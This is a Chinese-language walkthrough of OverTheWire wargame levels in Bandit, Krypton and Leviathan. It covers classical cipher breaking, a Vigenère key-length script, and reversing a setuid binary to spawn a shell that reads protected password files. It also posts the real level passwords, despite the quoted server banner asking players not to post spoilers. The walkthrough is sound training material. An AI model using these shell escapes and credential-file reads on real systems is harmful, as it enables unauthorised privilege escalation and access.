ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit31/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit31-git@localhost's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 324 bytes | 324.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'
bandit31@bandit:/tmp/d/repo$

level33

这个不会,看的答案

>> $0
$ cat /etc/bandit_pass/bandit33
odHo63fHiFqcWWJG9rLiLDtPm45KzUKy

彩蛋了

bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!
bandit33@bandit:~$

完结撒花

level0

base64解码

S1JZUFRPTklTR1JFQVQ=
 |
 |
\|/
KRYPTONISGREAT

level1

差点儿没找着文件,真抽象。

krypton1@bandit:/krypton/krypton1$ ll
total 16
drwxr-xr-x 2 root     root     4096 Apr 23 18:05 ./
drwxr-xr-x 8 root     root     4096 Apr 23 18:05 ../
-rw-r----- 1 krypton1 krypton1   26 Apr 23 18:05 krypton2
-rw-r----- 1 krypton1 krypton1  882 Apr 23 18:05 README
krypton1@bandit:/krypton/krypton1$ cat README
Welcome to Krypton!

This game is intended to give hands on experience with cryptography
and cryptanalysis.  The levels progress from classic ciphers, to modern,
easy to harder.

Although there are excellent public tools, like cryptool,to perform
the simple analysis, we strongly encourage you to try and do these
without them for now.  We will use them in later excercises.

** Please try these levels without cryptool first **


The first level is easy.  The password for level 2 is in the file
'krypton2'.  It is 'encrypted' using a simple rotation called ROT13.
It is also in non-standard ciphertext format.  When using alpha characters for
cipher text it is normal to group the letters into 5 letter clusters,
regardless of word boundaries.  This helps obfuscate any patterns.

This file has kept the plain text word boundaries and carried them to
the cipher text.

Enjoy!

krypton1@bandit:/krypton/krypton1$ cat krypton2 | tr [A-Z] [N-ZA-M]
LEVEL TWO PASSWORD ROTTEN
krypton1@bandit:/krypton/krypton1$

就一个移位密码

level2

还是一个移位密码

krypton2@bandit:/tmp/krypton2$ cat /etc/issue
Ubuntu 22.04.2 LTS \n \l

krypton2@bandit:/tmp/krypton2$ /krypton/krypton2/encrypt /etc/issue
krypton2@bandit:/tmp/krypton2$ cat ciphertext
GNGZFGXFEZXkrypton2@bandit:/tmp/krypton2$

因此

krypton2@bandit:/tmp/krypton2$ cat /krypton/krypton2/krypton3 | tr [A-Z] [O-ZA-N]
CAESARISEASY
krypton2@bandit:/tmp/krypton2$

level3

提示是统计,那就知道了

krypton3@bandit:/krypton/krypton3$ cat found{1..3} | tr -cd '[:alpha:]' | fold -w1 | sort | uniq -c | sort -nr
    456 S
    340 Q
    301 J
    257 U
    246 B
    240 N
    227 G
    227 C
    210 D
    132 Z
    130 V
    129 W
     86 M
     84 Y
     75 T
     71 X
     67 K
     64 E
     60 L
     55 A
     28 F
     19 I
     12 O
      4 R
      4 H
      2 P

alpha 然后这儿有个这玩意,大概能看出来

但是不完全准,来回试试基本上就可以了

krypton3@bandit:/krypton/krypton3$ cat krypton4 | tr 'KSVWBDGIXMNYQUCAJ' 'WELDOHNVFURPASIBT'
WELLD ONETH ELELE LFOUP RASSW OPDIS XPUTE krypton3@bandit:/krypton/krypton3$

比如说你猜krypton里面有password,然后猜一下就行。

level4

直接看wp了反正是。。。

cleartext

这里有个破解这种密码的中文参考,可以看一看

level5

这回,搜了个脚本儿。。。

自己写是真不会。。。

当然,首先需要一点点小的命令

cat /krypton/krypton5/found{1..3} | tr -d '[:space:]' > output.txt

然后跑脚本

ref1 REF2

import string

# 加载密文
with open('output.txt', 'r') as f:
    cipher = f.read()

#coding=utf-8
#-*- coding:utf-8 –*-
def c_alpha(cipher):   # 去掉非字母后的密文
    cipher_alpha = ''
    for i in range(len(cipher)):
        if (cipher[i].isalpha()):
            cipher_alpha += cipher[i]
    return cipher_alpha

# 计算cipher的重合指数
def count_CI(cipher):
    N = [0.0 for i in range(26)]
    cipher = c_alpha(cipher)
    L = len(cipher)
    if cipher == '':
        return 0
    else:
        for i in range(L):     #计算所有字母的频数,存在数组N当中
            if (cipher[i].islower()):
                 N[ord(cipher[i]) - ord('a')] += 1
            else:
                 N[ord(cipher[i]) - ord('A')] += 1
    CI_1 = 0
    for i in range(26):
        CI_1 += ((N[i] / L) * ((N[i]-1) / (L-1)))
    return CI_1

# 计算秘钥长度为 key_len 的重合指数
def count_key_len_CI(cipher,key_len):
    un_cip = ['' for i in range(key_len)]    # un_cip 是分组
    aver_CI = 0.0
    count = 0
    for i in range(len(cipher_alpha)):
        z = i % key_len
        un_cip[z] += cipher_alpha[i]
    for i in range(key_len):
        un_cip[i]= count_CI(un_cip[i])
        aver_CI += un_cip[i]
    aver_CI = aver_CI/len(un_cip)
    return aver_CI

## 找出最可能的前十个秘钥长度
def pre_10(cipher):
    M = [(1,count_CI(cipher))]+[(0,0.0) for i in range(49)]
    for i in range(2,50):
        M[i] = (i,abs(0.065 - count_key_len_CI(cipher,i)))
    M = sorted(M,key = lambda x:x[1])   #按照数组第二个元素排序
    for i in range(1,10):
        print (M[i])

F = [
0.0651738, 0.0124248, 0.0217339,
0.0349835, 0.1041442, 0.0197881,
0.0158610, 0.0492888, 0.0558094,
0.0009033, 0.0050529, 0.0331490,
0.0202124, 0.0564513, 0.0596302,
0.0137645, 0.0008606, 0.0497563,
0.0515760, 0.0729357, 0.0225134,
0.0082903, 0.0171272, 0.0013692,
0.0145984, 0.0007836
]       # 英文字符频率。

cipher_alpha = c_alpha(cipher)
print ("秘钥长度为:")
pre_10(cipher)

然后有如下输出:

krypton5@bandit:/tmp/krypton5$ python3 test.py
秘钥长度为:
(9, 0.017139818147855056)
(36, 0.017203685000228598)
(18, 0.01721992202177322)
(27, 0.017472532653033286)
(45, 0.0176209079041227)
(33, 0.020346335439459143)
(48, 0.020422875620895405)
(24, 0.020464673333004946)
(30, 0.02051347672724485)

这个也看了一下wp,九位密码是准的,但是程序输出的密钥不准,不知为什么。

密钥是 keylength, 答案是 RANDOM

level6

这个还是那个维吉尼亚的变形,没有太难。

ciphertext = 'PNUKLYLWRQKGKBE'
key = 'EICTDGYIYZKTHNSIRFXYCPFUEOCKRN'

for c, k in zip(ciphertext, key):
    p = ord('A') + ((ord(c) - ord(k)) % 26)
    print(chr(p), end='')

print()

最后密码如下

LFSRISNOTRANDOM

ref

这些东西感觉知道原理就差不多了,自己写实在是没意思而且有些困难。

也有不少人写脚本分析,但是感觉那些脚本分析出来的也不是很准,还是需要人工来看,反正有兴趣的可以搜搜。

去网上看了看发现别人也是用工具,自己分析真是过于无聊了。 ref3

level0

ssh登录,老三样了

┌─🌵[myc@ubuntu22]─[~]
└──╼[11:00:33]$ ssh leviathan0@leviathan.labs.overthewire.org -p 2223
The authenticity of host '[leviathan.labs.overthewire.org]:2223 ([16.16.148.221]:2223)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:6: [hashed name]
    ~/.ssh/known_hosts:9: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[leviathan.labs.overthewire.org]:2223' (ED25519) to the list of known hosts.
                   _            _       _   _
                  | | _____   _(_) __ _| |_| |__   __ _ _ __
                  | |/ _ \ \ / / |/ _` | __| '_ \ / _` | '_ \
                  | |  __/\ V /| | (_| | |_| | | | (_| | | | |
                  |_|\___| \_/ |_|\__,_|\__|_| |_|\__,_|_| |_|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

leviathan0@leviathan.labs.overthewire.org's password:

      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--"
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---" ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

  Write-access to homedirectories is disabled. It is advised to create a
  working directory with a hard-to-guess name in /tmp/.  You can use the
  command "mktemp -d" in order to generate a random and hard to guess
  directory in /tmp/.  Read-access to both /tmp/ is disabled and to /proc
  restricted so that users cannot snoop on eachother. Files and directories
  with easily guessable or short names will be periodically deleted! The /tmp
  directory is regularly wiped.
  Please play nice:

    * don't leave orphan processes running
    * don't leave exploit-files laying around
    * don't annoy other players
    * don't post passwords or spoilers
    * again, DONT POST SPOILERS!
      This includes writeups of your solution on your blog or website!

--[ Tips ]--

  This machine has a 64bit processor and many security-features enabled
  by default, although ASLR has been switched off.  The following
  compiler flags might be interesting:

    -m32                    compile for 32bit
    -fno-stack-protector    disable ProPolice
    -Wl,-z,norelro          disable relro

  In addition, the execstack tool can be used to flag the stack as
  executable on ELF binaries.

  Finally, network-access is limited for most levels by a local
  firewall.

--[ Tools ]--

 For your convenience we have installed a few useful tools which you can find
 in the following locations:

    * gef (https://github.com/hugsy/gef) in /opt/gef/
    * pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
    * peda (https://github.com/longld/peda.git) in /opt/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)

 Both python2 and python3 are installed.

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

leviathan0@gibson:~$

level1

先看一眼存密码的地方

total 48
drwxr-xr-x   2 root       root        4096 Apr 23 18:04 ./
drwxr-xr-x 111 root       root       12288 Apr 23 18:06 ../
-r--------   1 leviathan0 leviathan0    11 Apr 23 18:04 leviathan0
-r--------   1 leviathan1 leviathan1    11 Apr 23 18:04 leviathan1
-r--------   1 leviathan2 leviathan2    11 Apr 23 18:04 leviathan2
-r--------   1 leviathan3 leviathan3    11 Apr 23 18:04 leviathan3
-r--------   1 leviathan4 leviathan4    11 Apr 23 18:04 leviathan4
-r--------   1 leviathan5 leviathan5    11 Apr 23 18:04 leviathan5
-r--------   1 leviathan6 leviathan6    11 Apr 23 18:04 leviathan6
-r--------   1 leviathan7 leviathan7    11 Apr 23 18:04 leviathan7
leviathan0@gibson:~$

这挑战啥也不写,全靠脑洞啊。。。

leviathan0@gibson:~$ ll
total 24
drwxr-xr-x  3 root       root       4096 Apr 23 18:04 ./
drwxr-xr-x 83 root       root       4096 Apr 23 18:06 ../
drwxr-x---  2 leviathan1 leviathan0 4096 Apr 23 18:04 .backup/
-rw-r--r--  1 root       root        220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root       root       3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root       root        807 Jan  6  2022 .profile
leviathan0@gibson:~$ ll .backup
total 140
drwxr-x--- 2 leviathan1 leviathan0   4096 Apr 23 18:04 ./
drwxr-xr-x 3 root       root         4096 Apr 23 18:04 ../
-rw-r----- 1 leviathan1 leviathan0 133259 Apr 23 18:04 bookmarks.html
leviathan0@gibson:~$ cat .backup/bookmarks.html | grep "pass"
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is PPIfmI1qsA" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@gibson:~$

反正进去以后看了看home,找到了

level2

先看一下文件

leviathan1@gibson:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=aab009a1eb3940df51c668d1c35dc9cdc1191805, for GNU/Linux 3.2.0, not stripped

说明如下:

  • setuid:表示该可执行文件被设置了 SetUID 属性,即在执行该文件时,会使用该文件的所有者的权限来执行,而不是当前用户的权限。
  • ELF:表示该可执行文件使用 ELF 文件格式。
  • 32-bit:表示该可执行文件是 32 位的。
  • LSB:表示该可执行文件遵循 LSB(Linux Standard Base)规范。
  • Intel 80386:表示该可执行文件是为 Intel 80386 架构编译的。
  • version 1 (SYSV):表示该可执行文件使用 SYSV 版本 1 ABI 标准。
  • dynamically linked:表示该可执行文件使用动态链接库。
  • interpreter /lib/ld-linux.so.2:表示该可执行文件使用 /lib/ld-linux.so.2 作为动态链接库的解释器。
  • BuildID[sha1]=aab009a1eb3940df51c668d1c35dc9cdc1191805:表示该可执行文件的构建 ID。
  • for GNU/Linux 3.2.0:表示该可执行文件是为 GNU/Linux 3.2.0 版本编译的。
  • not stripped:表示该可执行文件没有被剥离(stripped),即可执行文件中包含了符号表和调试信息,便于调试和分析。

一开始没思路,输了好几遍密码都错,然后用strings扫了一下

leviathan1@gibson:~$ strings check
td8
/lib/ld-linux.so.2
_IO_stdin_used
__libc_start_main
__stack_chk_fail
puts
printf
getchar
system
strcmp
geteuid
setreuid
libc.so.6
GLIBC_2.4
GLIBC_2.34
GLIBC_2.0
__gmon_start__
secrf
love
password:
/bin/sh
Wrong password, Good Bye ...

搞了一下它的汇编

leviathan1@gibson:~$ objdump -d check

check:     file format elf32-i386


Disassembly of section .init:

08049000 <_init>:
 8049000:	f3 0f 1e fb          	endbr32
 8049004:	53                   	push   %ebx
 8049005:	83 ec 08             	sub    $0x8,%esp
 8049008:	e8 13 01 00 00       	call   8049120 <__x86.get_pc_thunk.bx>
 804900d:	81 c3 f3 2f 00 00    	add    $0x2ff3,%ebx
 8049013:	8b 83 fc ff ff ff    	mov    -0x4(%ebx),%eax
 8049019:	85 c0                	test   %eax,%eax
 804901b:	74 02                	je     804901f <_init+0x1f>
 804901d:	ff d0                	call   *%eax
 804901f:	83 c4 08             	add    $0x8,%esp
 8049022:	5b                   	pop    %ebx
 8049023:	c3                   	ret

Disassembly of section .plt:

08049030 <strcmp@plt-0x10>:
 8049030:	ff 35 04 c0 04 08    	push   0x804c004
 8049036:	ff 25 08 c0 04 08    	jmp    *0x804c008
 804903c:	00 00                	add    %al,(%eax)
	...

08049040 <strcmp@plt>:
 8049040:	ff 25 0c c0 04 08    	jmp    *0x804c00c
 8049046:	68 00 00 00 00       	push   $0x0
 804904b:	e9 e0 ff ff ff       	jmp    8049030 <_init+0x30>

08049050 <__libc_start_main@plt>:
 8049050:	ff 25 10 c0 04 08    	jmp    *0x804c010
 8049056:	68 08 00 00 00       	push   $0x8
 804905b:	e9 d0 ff ff ff       	jmp    8049030 <_init+0x30>

08049060 <printf@plt>:
 8049060:	ff 25 14 c0 04 08    	jmp    *0x804c014
 8049066:	68 10 00 00 00       	push   $0x10
 804906b:	e9 c0 ff ff ff       	jmp    8049030 <_init+0x30>

08049070 <getchar@plt>:
 8049070:	ff 25 18 c0 04 08    	jmp    *0x804c018
 8049076:	68 18 00 00 00       	push   $0x18
 804907b:	e9 b0 ff ff ff       	jmp    8049030 <_init+0x30>

08049080 <__stack_chk_fail@plt>:
 8049080:	ff 25 1c c0 04 08    	jmp    *0x804c01c
 8049086:	68 20 00 00 00       	push   $0x20
 804908b:	e9 a0 ff ff ff       	jmp    8049030 <_init+0x30>

08049090 <geteuid@plt>:
 8049090:	ff 25 20 c0 04 08    	jmp    *0x804c020
 8049096:	68 28 00 00 00       	push   $0x28
 804909b:	e9 90 ff ff ff       	jmp    8049030 <_init+0x30>

080490a0 <puts@plt>:
 80490a0:	ff 25 24 c0 04 08    	jmp    *0x804c024
 80490a6:	68 30 00 00 00       	push   $0x30
 80490ab:	e9 80 ff ff ff       	jmp    8049030 <_init+0x30>

080490b0 <system@plt>:
 80490b0:	ff 25 28 c0 04 08    	jmp    *0x804c028
 80490b6:	68 38 00 00 00       	push   $0x38
 80490bb:	e9 70 ff ff ff       	jmp    8049030 <_init+0x30>

080490c0 <setreuid@plt>:
 80490c0:	ff 25 2c c0 04 08    	jmp    *0x804c02c
 80490c6:	68 40 00 00 00       	push   $0x40
 80490cb:	e9 60 ff ff ff       	jmp    8049030 <_init+0x30>

Disassembly of section .text:

080490d0 <_start>:
 80490d0:	f3 0f 1e fb          	endbr32
 80490d4:	31 ed                	xor    %ebp,%ebp
 80490d6:	5e                   	pop    %esi
 80490d7:	89 e1                	mov    %esp,%ecx
 80490d9:	83 e4 f0             	and    $0xfffffff0,%esp
 80490dc:	50                   	push   %eax
 80490dd:	54                   	push   %esp
 80490de:	52                   	push   %edx
 80490df:	e8 19 00 00 00       	call   80490fd <_start+0x2d>
 80490e4:	81 c3 1c 2f 00 00    	add    $0x2f1c,%ebx
 80490ea:	6a 00                	push   $0x0
 80490ec:	6a 00                	push   $0x0
 80490ee:	51                   	push   %ecx
 80490ef:	56                   	push   %esi
 80490f0:	c7 c0 e6 91 04 08    	mov    $0x80491e6,%eax
 80490f6:	50                   	push   %eax
 80490f7:	e8 54 ff ff ff       	call   8049050 <__libc_start_main@plt>
 80490fc:	f4                   	hlt
 80490fd:	8b 1c 24             	mov    (%esp),%ebx
 8049100:	c3                   	ret
 8049101:	66 90                	xchg   %ax,%ax
 8049103:	66 90                	xchg   %ax,%ax
 8049105:	66 90                	xchg   %ax,%ax
 8049107:	66 90                	xchg   %ax,%ax
 8049109:	66 90                	xchg   %ax,%ax
 804910b:	66 90                	xchg   %ax,%ax
 804910d:	66 90                	xchg   %ax,%ax
 804910f:	90                   	nop

08049110 <_dl_relocate_static_pie>:
 8049110:	f3 0f 1e fb          	endbr32
 8049114:	c3                   	ret
 8049115:	66 90                	xchg   %ax,%ax
 8049117:	66 90                	xchg   %ax,%ax
 8049119:	66 90                	xchg   %ax,%ax
 804911b:	66 90                	xchg   %ax,%ax
 804911d:	66 90                	xchg   %ax,%ax
 804911f:	90                   	nop

08049120 <__x86.get_pc_thunk.bx>:
 8049120:	8b 1c 24             	mov    (%esp),%ebx
 8049123:	c3                   	ret
 8049124:	66 90                	xchg   %ax,%ax
 8049126:	66 90                	xchg   %ax,%ax
 8049128:	66 90                	xchg   %ax,%ax
 804912a:	66 90                	xchg   %ax,%ax
 804912c:	66 90                	xchg   %ax,%ax
 804912e:	66 90                	xchg   %ax,%ax

08049130 <deregister_tm_clones>:
 8049130:	b8 38 c0 04 08       	mov    $0x804c038,%eax
 8049135:	3d 38 c0 04 08       	cmp    $0x804c038,%eax
 804913a:	74 24                	je     8049160 <deregister_tm_clones+0x30>
 804913c:	b8 00 00 00 00       	mov    $0x0,%eax
 8049141:	85 c0                	test   %eax,%eax
 8049143:	74 1b                	je     8049160 <deregister_tm_clones+0x30>
 8049145:	55                   	push   %ebp
 8049146:	89 e5                	mov    %esp,%ebp
 8049148:	83 ec 14             	sub    $0x14,%esp
 804914b:	68 38 c0 04 08       	push   $0x804c038
 8049150:	ff d0                	call   *%eax
 8049152:	83 c4 10             	add    $0x10,%esp
 8049155:	c9                   	leave
 8049156:	c3                   	ret
 8049157:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 804915e:	66 90                	xchg   %ax,%ax
 8049160:	c3                   	ret
 8049161:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 8049168:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 804916f:	90                   	nop

08049170 <register_tm_clones>:
 8049170:	b8 38 c0 04 08       	mov    $0x804c038,%eax
 8049175:	2d 38 c0 04 08       	sub    $0x804c038,%eax
 804917a:	89 c2                	mov    %eax,%edx
 804917c:	c1 e8 1f             	shr    $0x1f,%eax
 804917f:	c1 fa 02             	sar    $0x2,%edx
 8049182:	01 d0                	add    %edx,%eax
 8049184:	d1 f8                	sar    %eax
 8049186:	74 20                	je     80491a8 <register_tm_clones+0x38>
 8049188:	ba 00 00 00 00       	mov    $0x0,%edx
 804918d:	85 d2                	test   %edx,%edx
 804918f:	74 17                	je     80491a8 <register_tm_clones+0x38>
 8049191:	55                   	push   %ebp
 8049192:	89 e5                	mov    %esp,%ebp
 8049194:	83 ec 10             	sub    $0x10,%esp
 8049197:	50                   	push   %eax
 8049198:	68 38 c0 04 08       	push   $0x804c038
 804919d:	ff d2                	call   *%edx
 804919f:	83 c4 10             	add    $0x10,%esp
 80491a2:	c9                   	leave
 80491a3:	c3                   	ret
 80491a4:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 80491a8:	c3                   	ret
 80491a9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

080491b0 <__do_global_dtors_aux>:
 80491b0:	f3 0f 1e fb          	endbr32
 80491b4:	80 3d 38 c0 04 08 00 	cmpb   $0x0,0x804c038
 80491bb:	75 1b                	jne    80491d8 <__do_global_dtors_aux+0x28>
 80491bd:	55                   	push   %ebp
 80491be:	89 e5                	mov    %esp,%ebp
 80491c0:	83 ec 08             	sub    $0x8,%esp
 80491c3:	e8 68 ff ff ff       	call   8049130 <deregister_tm_clones>
 80491c8:	c6 05 38 c0 04 08 01 	movb   $0x1,0x804c038
 80491cf:	c9                   	leave
 80491d0:	c3                   	ret
 80491d1:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 80491d8:	c3                   	ret
 80491d9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

080491e0 <frame_dummy>:
 80491e0:	f3 0f 1e fb          	endbr32
 80491e4:	eb 8a                	jmp    8049170 <register_tm_clones>

080491e6 <main>:
 80491e6:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 80491ea:	83 e4 f0             	and    $0xfffffff0,%esp
 80491ed:	ff 71 fc             	push   -0x4(%ecx)
 80491f0:	55                   	push   %ebp
 80491f1:	89 e5                	mov    %esp,%ebp
 80491f3:	53                   	push   %ebx
 80491f4:	51                   	push   %ecx
 80491f5:	83 ec 20             	sub    $0x20,%esp
 80491f8:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 80491fe:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8049201:	31 c0                	xor    %eax,%eax
 8049203:	c7 45 e0 73 65 78 00 	movl   $0x786573,-0x20(%ebp)
 804920a:	c7 45 ed 73 65 63 72 	movl   $0x72636573,-0x13(%ebp)
 8049211:	66 c7 45 f1 65 74    	movw   $0x7465,-0xf(%ebp)
 8049217:	c6 45 f3 00          	movb   $0x0,-0xd(%ebp)
 804921b:	c7 45 e4 67 6f 64 00 	movl   $0x646f67,-0x1c(%ebp)
 8049222:	c7 45 e8 6c 6f 76 65 	movl   $0x65766f6c,-0x18(%ebp)
 8049229:	c6 45 ec 00          	movb   $0x0,-0x14(%ebp)
 804922d:	83 ec 0c             	sub    $0xc,%esp
 8049230:	68 08 a0 04 08       	push   $0x804a008
 8049235:	e8 26 fe ff ff       	call   8049060 <printf@plt>
 804923a:	83 c4 10             	add    $0x10,%esp
 804923d:	e8 2e fe ff ff       	call   8049070 <getchar@plt>
 8049242:	88 45 dc             	mov    %al,-0x24(%ebp)
 8049245:	e8 26 fe ff ff       	call   8049070 <getchar@plt>
 804924a:	88 45 dd             	mov    %al,-0x23(%ebp)
 804924d:	e8 1e fe ff ff       	call   8049070 <getchar@plt>
 8049252:	88 45 de             	mov    %al,-0x22(%ebp)
 8049255:	c6 45 df 00          	movb   $0x0,-0x21(%ebp)
 8049259:	83 ec 08             	sub    $0x8,%esp
 804925c:	8d 45 e0             	lea    -0x20(%ebp),%eax
 804925f:	50                   	push   %eax
 8049260:	8d 45 dc             	lea    -0x24(%ebp),%eax
 8049263:	50                   	push   %eax
 8049264:	e8 d7 fd ff ff       	call   8049040 <strcmp@plt>
 8049269:	83 c4 10             	add    $0x10,%esp
 804926c:	85 c0                	test   %eax,%eax
 804926e:	75 2b                	jne    804929b <main+0xb5>
 8049270:	e8 1b fe ff ff       	call   8049090 <geteuid@plt>
 8049275:	89 c3                	mov    %eax,%ebx
 8049277:	e8 14 fe ff ff       	call   8049090 <geteuid@plt>
 804927c:	83 ec 08             	sub    $0x8,%esp
 804927f:	53                   	push   %ebx
 8049280:	50                   	push   %eax
 8049281:	e8 3a fe ff ff       	call   80490c0 <setreuid@plt>
 8049286:	83 c4 10             	add    $0x10,%esp
 8049289:	83 ec 0c             	sub    $0xc,%esp
 804928c:	68 13 a0 04 08       	push   $0x804a013
 8049291:	e8 1a fe ff ff       	call   80490b0 <system@plt>
 8049296:	83 c4 10             	add    $0x10,%esp
 8049299:	eb 10                	jmp    80492ab <main+0xc5>
 804929b:	83 ec 0c             	sub    $0xc,%esp
 804929e:	68 1b a0 04 08       	push   $0x804a01b
 80492a3:	e8 f8 fd ff ff       	call   80490a0 <puts@plt>
 80492a8:	83 c4 10             	add    $0x10,%esp
 80492ab:	b8 00 00 00 00       	mov    $0x0,%eax
 80492b0:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80492b3:	65 2b 15 14 00 00 00 	sub    %gs:0x14,%edx
 80492ba:	74 05                	je     80492c1 <main+0xdb>
 80492bc:	e8 bf fd ff ff       	call   8049080 <__stack_chk_fail@plt>
 80492c1:	8d 65 f8             	lea    -0x8(%ebp),%esp
 80492c4:	59                   	pop    %ecx
 80492c5:	5b                   	pop    %ebx
 80492c6:	5d                   	pop    %ebp
 80492c7:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80492ca:	c3                   	ret

Disassembly of section .fini:

080492cc <_fini>:
 80492cc:	f3 0f 1e fb          	endbr32
 80492d0:	53                   	push   %ebx
 80492d1:	83 ec 08             	sub    $0x8,%esp
 80492d4:	e8 47 fe ff ff       	call   8049120 <__x86.get_pc_thunk.bx>
 80492d9:	81 c3 27 2d 00 00    	add    $0x2d27,%ebx
 80492df:	83 c4 08             	add    $0x8,%esp
 80492e2:	5b                   	pop    %ebx
 80492e3:	c3                   	ret
leviathan1@gibson:~$

其中的

movl $0x786573,-0x20(%ebp)

看出来密码是sex

说好的只需要基本的linux命令呢???太抽象了

leviathan1@gibson:~$ ./check
password: sex
$ cat /etc/leviathan_pass/leviathan2
mEh5PNl10e
$

他人解法

很好,然后去网上看了一下别人的答案,貌似有另一个好东西叫ltrace

这个玩意儿可以单步调试,然后就很简单了

leviathan1@gibson:~$ ltrace ./check
__libc_start_main(0x80491e6, 1, 0xffffd504, 0 <unfinished ...>
printf("password: ")                                         = 10
getchar(0xf7fbe4a0, 0xf7fd6f80, 0x786573, 0x646f67password: 123
)          = 49
getchar(0xf7fbe4a0, 0xf7fd6f31, 0x786573, 0x646f67)          = 50
getchar(0xf7fbe4a0, 0xf7fd3231, 0x786573, 0x646f67)          = 51
strcmp("123", "sex")                                         = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                         = 29
+++ exited (status 0) +++
leviathan1@gibson:~$

这里有一个中文的教程

level3

直接运行会提示不成功

leviathan2@gibson:~$ ll
total 36
drwxr-xr-x  2 root       root        4096 Apr 23 18:04 ./
drwxr-xr-x 83 root       root        4096 Apr 23 18:06 ../
-rw-r--r--  1 root       root         220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root       root        3771 Jan  6  2022 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 15060 Apr 23 18:04 printfile*
-rw-r--r--  1 root       root         807 Jan  6  2022 .profile
leviathan2@gibson:~$ file printfile
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=32c7e041842883e05808ab99c763a0fc1849b84e, for GNU/Linux 3.2.0, not stripped
leviathan2@gibson:~$ printfile
printfile: command not found
leviathan2@gibson:~$ printfile --help
printfile: command not found
leviathan2@gibson:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@gibson:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...

然后分别看一下

leviathan2@gibson:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied
leviathan2@gibson:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x80491e6, 2, 0xffffd4d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)                  = -1
